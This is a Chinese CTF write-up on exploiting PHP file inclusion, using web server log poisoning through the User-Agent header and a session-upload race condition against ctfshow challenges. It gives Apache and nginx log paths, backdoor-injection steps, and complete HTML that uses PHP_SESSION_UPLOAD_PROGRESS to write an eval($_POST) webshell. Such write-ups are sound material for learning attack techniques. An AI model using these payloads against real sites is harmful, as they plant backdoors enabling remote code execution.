文件包含漏洞下日志文件的利用 && session文件竞争

普及

日志文件记录了一下登录者的信息

访问者ip：127.0.0.1

访问日期

请求方式：GET

请求链接：/dvwa/phpinfo.php

请求参数：PHPE9568F34-D428-11d2-A769-00AA001ACF42

HTTP协议：HTTP/1.1

返回转态码：200

返回包的长度：2536

请求包的Referer：http://127.0.0.1/dvwa/phpinfo.php

访问者的浏览器信息：Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36

session文件：session是个安全会话协议和cookie一样记录着用户信息

这个代码写上之后网站就会给你产生一个session文件这个在网站目录下的 tmp 里

眼神好的可能发现了爱博士这个session文件怎么是空的呀因为储存重要信息的原因 session文件会被定时的清理掉

日志文件包含

这边还是以 ctfshow为例子

那我们还搞个毛啊主要协议都被干了这个就需要我们进行日志的利用

linux日志的路径：/var/log/apache2/access.log

/var/log/nginx/access.log

win的就不说了一般网站没有使用win的

那我得先判断中间件是哪个

判断是 nginx 直接使用路径查看一下日志

测试成功搞个后门进去在UA头写入查看

看见了 fl0g.php

记住这个链接的密码是 xxx

别忘了加 ;

可以直接后门连接工具进行连接当然也可以利用这个密码去进行命令的传输在POST里利用这个后门

第二个日志题

这个一看就是日志题

一样修改UA 这次是get的传输

session竞争

这个使用就需要我们使用session 竞争

准备 1、一个对这个网站产生session文件的代码并给与名字 2、因为session文件的定时清理我们需要不断的访问session文件的地址和不断的上传session文件 3、上传的同时利用代码生成一个木马文件使用后门进入

1、

<!DOCTYPE html>
<html>
<body>
<form action="https://f2758c7c-2cbe-44ce-a533-0808c1ab7e7b.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[1])?>'?>" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>
https://www.cnblogs.com/lnterpreter/p/14086164.html
https://www.cnblogs.com/echoDetected/p/13976405.html

先把这个文件运行起来主要上边这个action呀你要往那个网站传输就改为哪个